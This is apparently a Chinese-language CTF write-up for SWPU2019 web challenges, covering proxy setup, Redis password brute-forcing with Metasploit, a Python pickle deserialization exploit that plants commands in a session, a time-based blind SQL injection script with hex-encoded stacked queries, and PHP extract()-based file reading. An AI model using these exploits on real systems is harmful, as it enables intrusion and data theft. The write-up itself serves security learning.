SWPU2019 复现

Web2

考点:redis弱口令,python反序列化

BUU上面的环境需要 Shadowsocks 代理才能访问,配置这个都搞了半天(tcl

下载配置shadowsocks

sudo apt-get install shadowsocks

连接代理

sslocal -s node3.buuoj.cn -p 11111 -k 123456

报错:AttributeError: /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1: undefined symbol: EVP_CIPHER_CTX_cleanup

报错参考:https://www.jianshu.com/p/3f874d5aac54

在Python2.7中的openssl文件中,下面这个函数没有定义,具体就是这个:

EVP_CIPHER_CTX_cleanup

更深层的是是由于在openssl1.1.0版本中,废弃了 EVP_CIPHER_CTX_cleanup 函数,要用这个函数 EVP_CIPHER_CTX_reset() 代替;

直接 vim /usr/local/lib/python2.7/dist-packages/shadowsocks/crypto/openssl.py 打开文件,全局搜索关键字替换即可;

kali下编译安装proxychains4

编译安装
git clone https://github.com/rofl0r/proxychains-ng.git  # download
cd proxychains-ng
./configure
sudo make 
sudo make install
cp ./src/proxychains.conf /etc/proxychains.conf  # config file
用proxychains做正向代理
vim /etc/proxychains.conf

添加一行:socks5 127.0.0.1 1080(具体取决于你的ss配置的端口)

不过我这里需要注释掉原来的那一行 socks4 127.0.0.1 9050

命令行访问内网

proxychains4 ping web 

只需在前面加 proxychains4 就行了

浏览器访问内网

浏览器配置浏览器代理,选择Sock5,ip设为127.0.0.1,端口设为默认的1080。

然后我们用浏览器访问http://web:2333/,注册登录之后在源码里面发现 redis 字样提示,得知是redis,用命令行访问

proxychains4 redis-cli -h web -p 6379

发现执行命令需要密码,我们用msf的模块爆破之:

sudo proxychains4 msfconsole
search redis
use auxiliary/scanner/redis/redis_login
set rhosts web
set rport 6379
exploit

得到密码:password

于是可以查看数据:

img

我看到了自己的session,发现是python序列化之后的数据,我们访问的时候他会对这个数据进行反序列化 如果我们控制了这个数据,那么可以利用反序列化来进行getshell 对python不是很熟悉,网上找到exp改一改:

#!/usr/bin/env python
import cPickle
import os
import redis
class exp(object):
    def __reduce__(self):
        s = "ls / > ./static/js/materialize.min.js"
        #执行命令,外带到一个js文件,弹shell是不可以的,BUU内网都不可以,折腾了好久
        return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='web',password="password", port=6379, db=0)
r.set("session:1ea713bb-ad84-489b-b48b-1ba3f07b7ecb", s)#这里需要改为自己的session

运行 proxychains4 python exp.py 命令之后,我们可以在redis的终端看到我们的session 已经被改为我们恶意的序列化结果了,再次访问http://web:2333/输入用户名密码登陆后 就可以在/static/js/materialize.min.js文件中看到我们命令执行结果:

img

flag{b13534e2-8984-4f59-a46f-1f8eac316899}

web3

考点:flask session伪造,软连接读取flag,命令注入

请见BUU刷题记录3

web4

考点:PDO场景下的堆叠注入、时间盲注

打开题目叫你登录,不过任凭你怎么登录都会没有反应,注册说“未开放注册功能”

回头一抓包,发现我们向 /index.php?r=Login/Login 发送了一个数据包,这里可以注入,POST输入:

{"username":"1'","password":"123"}

页面会报错,但是我们输入:

{"username":"1';","password":"123"}

页面却没报错,同时说密码错误;

那么说明这道题可以堆叠注入。

尝试 1';show databases; 之类的操作,一直显示密码错误,猜测可能关键字被waf了,因为是堆叠,我们可以参考新春战疫的一道堆叠注入(当时也是PDO),使用预编译+16进制编码绕过waf。

而且页面不会根据我们输入情况回显不同,那么就用时间盲注;

exp:

# by wh1sper
# 时间盲注
import requests
import time
 
host = 'http://fe683617-4ef1-4c6a-8332-febe7058c07e.node3.buuoj.cn/index.php?r=Login/Login'
 
 
def mid(bot, top):
    return (int)(0.5 * (top + bot))
 
def char_to_hex(str):
    res = ''
    for i in str:
        res += hex(ord(i))
    res = '0x' + res.replace('0x', '')
    return res
 
 
def sqli():
    name = ''
    for j in range(1, 250):
        top = 126
        bot = 32
        while 1:
            #babyselect = 'database()'#--->ctf
            #babyselect = '(select group_concat(table_name) ' \
            #             'from information_schema.tables where table_schema=database())'#---flag
            # babyselect = '(select group_concat(column_name) ' \
            #             'from information_schema.columns where table_name='flag')'#--->flag
            babyselect = '(select flag from flag)'#--->glzjin_wants_a_girl_friend.zip
            select = "select if((ascii(substr(" +babyselect+ ",{},1))> {}),sleep(3),1);"\
                .format(j, mid(bot, top))
            playload = "1';set @a="+ char_to_hex(select) +";PREPARE test from @a;execute test;"
 
            data = {
                "username": playload,
                "password": "1"
            }
            print(mid(bot, top))
            start_time = time.time()
            r = requests.post(url=host, json=data)
            end_tmie = time.time()
            #print(r.text)
            if end_tmie - start_time > 1.5:  # 成功
                if top - 1 == bot:  # top和bot相邻,说明name是top
                    name += chr(top)
                    print(name)
                    break
                bot = mid(bot, top)  # 成功就上移bot
            else:  # 失败
                if top - 1 == bot:  # top和bot相邻,加上失败,说明name是bot
                    name += chr(bot)
                    print(name)
                    break
                top = mid(bot, top)  # 失败就下移top
 
 
if __name__ == '__main__':
    sqli()

得到:glzjin_wants_a_girl_friend.zip

然后看的出来是个文件,访问下载之,得到网站源码。 很明显,我们要通过某种方法将flag.php中的文件内容给读取出来。

这是个MVC模型,首先了解一下该框架下url的解析过程:

  • 从r参数中获取要访问的 Controller 以及 Action ,然后以 / 分隔开后拼接成完整的控制器名。 以 Login/Index 为例,就是将 Login/Index 分隔开分别拼接成 LoginController 以及 actionIndex ,然后调用 LoginController 这个类中的 actionIndex 方法。每个 action 里面会调用对应的 loadView() 方法进行模版渲染,然后将页面返回给客户端。 若访问的 Controller 不存在则默认解析 Login/Index

这样我们就应该先来审计控制器的代码。

不难发现,在BaseController中有着这么一段明显有问题的代码

public function loadView($viewName ='', $viewData = [])
{
    $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
    if(file_exists($this->viewPath))
    {
        extract($viewData);
        include $this->viewPath;
    }
}

这段代码中使用了 extract() ,以及包含了 /View/{$viewName}.php ,也就是说我们能通过 $viewName$viewData 这两个变量来更改 /View 下任何一个php文件的任何一个变量的值。

在UserController中找到了以下代码:

public function actionIndex()
{
    $listData = $_REQUEST;
    $this->loadView('userIndex',$listData);
}

可以看出来,其中 $listData 是从请求中获取,用户可控,而其对应的 /View/userIndex.php 中存在一个文件读取:

<div class="fakeimg"><?php
    if(!isset($img_file)) {
        $img_file = '/../favicon.ico';
    }
    $img_dir = dirname(__FILE__) . $img_file;
    $img_base64 = imgToBase64($img_dir);
    echo '<img src="' . $img_base64 . '">';       //图片形式展示
    ?></div>

其中 imgToBase64() 实现的是将目标文件转化成base64格式。而我们只需要将 $img_file 改成 /flag.php 即可。

访问 http://ip/index.php?r=User/Index&img_file=/../flag.php 即可获得flag的base64

flag{fd2a64c6-8bd5-48c8-8ed7-8b5974dfaddf}

updatedupdated2022-10-302022-10-30